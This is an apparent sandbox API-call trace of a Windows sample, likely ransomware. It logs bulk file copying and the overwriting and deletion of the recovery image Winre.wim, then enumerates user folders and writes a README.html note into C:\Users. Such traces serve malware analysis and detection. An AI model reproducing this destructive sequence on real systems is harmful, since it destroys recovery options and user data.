	[0062.557] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0062.881] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0063.136] SetEvent (hEvent=0xa8) returned 1
	[0063.136] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0063.496] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0063.801] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0064.162] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0064.413] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0064.813] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0065.087] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x9c4000, lpOverlapped=0x0) returned 1
	[0065.269] SetEvent (hEvent=0xa8) returned 1
	[0065.401] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x9c4000, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x9c4000, lpOverlapped=0x0) returned 1
	[0065.659] SetEvent (hEvent=0xa8) returned 1
	[0065.659] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x520012, lpOverlapped=0x0) returned 1
	[0065.781] WriteFile (in: hFile=0xc4, lpBuffer=0x12880000*, nNumberOfBytesToWrite=0x520012, lpNumberOfBytesWritten=0x12414c4c, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesWritten=0x12414c4c*=0x520012, lpOverlapped=0x0) returned 1
	[0065.924] ReadFile (in: hFile=0xc0, lpBuffer=0x12880000, nNumberOfBytesToRead=0x9c4000, lpNumberOfBytesRead=0x12414c40, lpOverlapped=0x0 | out: lpBuffer=0x12880000*, lpNumberOfBytesRead=0x12414c40*=0x0, lpOverlapped=0x0) returned 1
	[0065.924] CloseHandle (hObject=0xc4) returned 1
	[0065.924] CloseHandle (hObject=0xc0) returned 1
	[0065.925] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12380200*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x12414904, lpReserved=0x0 | out: lpBuffer=0x12380200*, lpNumberOfCharsWritten=0x12414904*=0x3f) returned 1
	[0065.976] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileW") returned 0x76c389b3
	[0065.976] DeleteFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim")) returned 1
	[0066.002] SetEvent (hEvent=0x78) returned 1
	[0066.005] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x102
	[0066.016] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.016] SetEvent (hEvent=0x78) returned 1
	[0066.016] SetEvent (hEvent=0xb4) returned 1
	[0066.016] SetEvent (hEvent=0x8c) returned 1
	[0066.016] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.018] SetEvent (hEvent=0xa8) returned 1
	[0066.018] SetEvent (hEvent=0x8c) returned 1
	[0066.047] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0066.049] SetEvent (hEvent=0x8c) returned 1
	[0066.051] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0x1) returned 0x0
	[0066.068] SetEvent (hEvent=0x8c) returned 1
	[0066.068] SetEvent (hEvent=0xb4) returned 1
	[0066.068] SetEvent (hEvent=0x78) returned 1
	[0066.068] WaitForSingleObject (hHandle=0x6c, dwMilliseconds=0xffffffff) returned 0x0
	[0066.076] SetEvent (hEvent=0xa8) returned 1
	[0066.076] SetEvent (hEvent=0x78) returned 1
	[0066.086] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0066.086] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x12414d60 | out: lpMode=0x12414d60) returned 0
	[0066.093] WriteFile (in: hFile=0xc0, lpBuffer=0x127f2000*, nNumberOfBytesToWrite=0xfa000, lpNumberOfBytesWritten=0x12414d50, lpOverlapped=0x0 | out: lpBuffer=0x127f2000*, lpNumberOfBytesWritten=0x12414d50*=0xfa000, lpOverlapped=0x0) returned 1
	[0066.111] CloseHandle (hObject=0xc0) returned 1
	[0066.122] DeleteFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\winre.wim")) returned 1
	[0066.131] GetFileAttributesExW (in: lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi"), fInfoLevelId=0x0, lpFileInformation=0x123fc058 | out: lpFileInformation=0x123fc058*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000)) returned 1
	[0066.131] GetFileAttributesExW (in: lpFileName="C:\\System Volume Information" (normalized: "c:\\system volume information"), fInfoLevelId=0x0, lpFileInformation=0x123fc0a8 | out: lpFileInformation=0x123fc0a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0xa1602bc0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa1602bc0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x3000)) returned 1
	[0066.131] CreateFileW (lpFileName="C:\\System Volume Information" (normalized: "c:\\system volume information"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.131] FindFirstFileW (in: lpFileName="C:\\System Volume Information\\*", lpFindFileData=0x12415a44 | out: lpFindFileData=0x12415a44*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff
	[0066.131] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x123fc0f8 | out: lpFileInformation=0x123fc0f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0066.132] CreateFileW (lpFileName="C:\\Users" (normalized: "c:\\users"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.132] FindFirstFileW (in: lpFileName="C:\\Users\\*", lpFindFileData=0x12415a44 | out: lpFindFileData=0x12415a44*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a64 | out: lpFindFileData=0x12415a64*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a64 | out: lpFindFileData=0x12415a64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3821e60, ftLastAccessTime.dwHighDateTime=0x1d52dc5, ftLastWriteTime.dwLowDateTime=0x3821e60, ftLastWriteTime.dwHighDateTime=0x1d52dc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1
	[0066.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a64 | out: lpFindFileData=0x12415a64*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1
	[0066.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a64 | out: lpFindFileData=0x12415a64*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1
	[0066.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a64 | out: lpFindFileData=0x12415a64*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1
	[0066.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a64 | out: lpFindFileData=0x12415a64*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0066.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a64 | out: lpFindFileData=0x12415a64*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1
	[0066.132] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a64 | out: lpFindFileData=0x12415a64*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.132] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.132] CreateFileW (lpFileName="C:\\Users\\README.html" (normalized: "c:\\users\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0066.133] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x12414e5c | out: lpMode=0x12414e5c) returned 0
	[0066.138] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x12414e4c, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x12414e4c*=0xc5a, lpOverlapped=0x0) returned 1
	[0066.139] CloseHandle (hObject=0xc0) returned 1
	[0066.139] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12392190*, nNumberOfCharsToWrite=0x23, lpNumberOfCharsWritten=0x124149dc, lpReserved=0x0 | out: lpBuffer=0x12392190*, lpNumberOfCharsWritten=0x124149dc*=0x23) returned 1
	[0066.148] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x123fc328 | out: lpFileInformation=0x123fc328*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3821e60, ftLastAccessTime.dwHighDateTime=0x1d52dc5, ftLastWriteTime.dwLowDateTime=0x3821e60, ftLastWriteTime.dwHighDateTime=0x1d52dc5, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0066.148] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.148] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x124159e0 | out: lpFindFileData=0x124159e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3821e60, ftLastAccessTime.dwHighDateTime=0x1d52dc5, ftLastWriteTime.dwLowDateTime=0x3821e60, ftLastWriteTime.dwHighDateTime=0x1d52dc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3821e60, ftLastAccessTime.dwHighDateTime=0x1d52dc5, ftLastWriteTime.dwLowDateTime=0x3821e60, ftLastWriteTime.dwHighDateTime=0x1d52dc5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf321cc00, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xf321cc00, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebaa5be0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebaa5be0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebb642c0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebb642c0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1
	[0066.148] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29103b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29103b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29103b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c30f920, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2c30f920, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x100000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2c16ca00, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1
	[0066.149] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415a00 | out: lpFindFileData=0x12415a00*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28f60c40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f60c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28f60c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.dat.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1
